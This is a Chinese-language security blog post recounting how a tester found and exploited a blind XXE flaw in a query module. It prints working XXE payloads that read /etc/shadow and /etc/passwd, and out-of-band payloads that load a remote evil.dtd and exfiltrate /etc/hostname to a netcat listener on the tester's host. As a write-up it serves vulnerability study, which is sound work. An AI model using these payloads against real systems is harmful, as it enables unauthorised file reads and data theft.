漏洞筆記|記一次與XXE漏洞的愛恨糾纏
- 2020 年 3 月 12 日
- 筆記
0x01背景:
kaiputenku大佬最近在挖洞的時候偶遇一枚XXE漏洞,身經百戰的他經過一番愛恨糾纏,終將她順利拿下~
0x02糾纏一番只為她-Blind OOB XXE:
在測試某系統的某查詢功能模組如下:
- 查詢模組.jpg(請各位大佬自行腦補)
- 下面即將開始kaiputenku的表演:
首先使用burp抓包,發現提交xml形式的數據包,很容易想到可能存在XML外部實體注入

嘗試構造以下payload讀取/etc/shadow文件:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/shadow">]><root>&file;</root>
HTTP回顯報錯Permission denied,說明payload成功執行,證明確實存在XML外部實體注入,只是用戶許可權不足讀取失敗

嘗試構造以下payload讀取/etc/passwd文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]><root>&file;</root>
發現HTTP回顯正常,但是沒有我們想要的passwd文件資訊,說明是Blind XXE漏洞

Blind XXE漏洞有兩種常見的利用方式,ftp讀回顯和http讀回顯
- 嘗試ftp讀回顯
測試主機ip為10.xx.xx.31
1)在測試主機上開啟Web服務,並創建eval.dtd文件,內容如下

2)在測試主機上下載並運行xxe-ftp-server.rb,運行後會在2121埠開啟ftp服務,腳本下載地址:https://github.com/ONsec-Lab/scripts

3)構造如下payload並發起請求
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a[<!ENTITY % asd SYSTEM "http://10.xx.xx.31:8080/evil.dtd">%asd;%c;]><a>&rrr;</a>
發現HTTP回顯Connection refused

在測試主機Web日誌中發現目標主機已經成功下載了evil.dtd文件,但是HTTP又回顯Connection refused,猜測是ftp服務的問題

直接在瀏覽器中訪問http://10.xx.xx.31:2121/,發現連接被拒絕,這裡沒搞不明白為什麼已經開啟了ftp服務並且正在監聽[::]:2121還是拒絕連接,換了台測試主機出現同樣的問題,花了很長時間沒有解決,猜測是內部網路策略的問題,遂放棄,準備嘗試HTTP讀回顯的方式。
- 嘗試http讀回顯
測試主機ip為10.xx.xx.31
1)在測試主機上開啟Web服務,並創建eval.dtd文件,內容如下

2)使用nc進行監聽,執行necat.exe -lvvp 8081,監聽8081埠

3)構造如下payload並發起請求
<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://10.xx.x.31:8080/evil.dtd">%remote;%int;%send;]>
發現HTTP回顯Illegal character in URL,說明該payload成功讀取到/etc/passwd文件,嘗試將/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由於passwd文件中的數據不符合URL構造要求,所以目標主機報Illegal character in URL的錯誤

所以開始嘗試讀取較為簡單,文本資訊較少的文件,比如/etc/hostname文件,裡面只是保存了主機名,應該不會有什麼特殊字元導致URL不合法
修改測試主機中的evil.dtd文件如下:

再次請求payload,發現該請求一直處於Waiting狀態

並且發現necat.exe成功監聽到目標主機的Web請求,並且在URL中讀取到/etc/hostname文件資訊,目標主機名為gp13erxxxxxxx36

0x03總結:
以上即為測試該漏洞的全部過程,由於處於全內網環境,尋找下載工具花了較長時間,ftp拒絕連接的坑也花費了很長時間,最後還是沒有解決--.--。但是變通使用necat監聽http請求成功讀取到了目標主機的文件資訊。
當然還有很多玩法,比如內網主機、埠存活掃描,DOS等,大家自己探索~

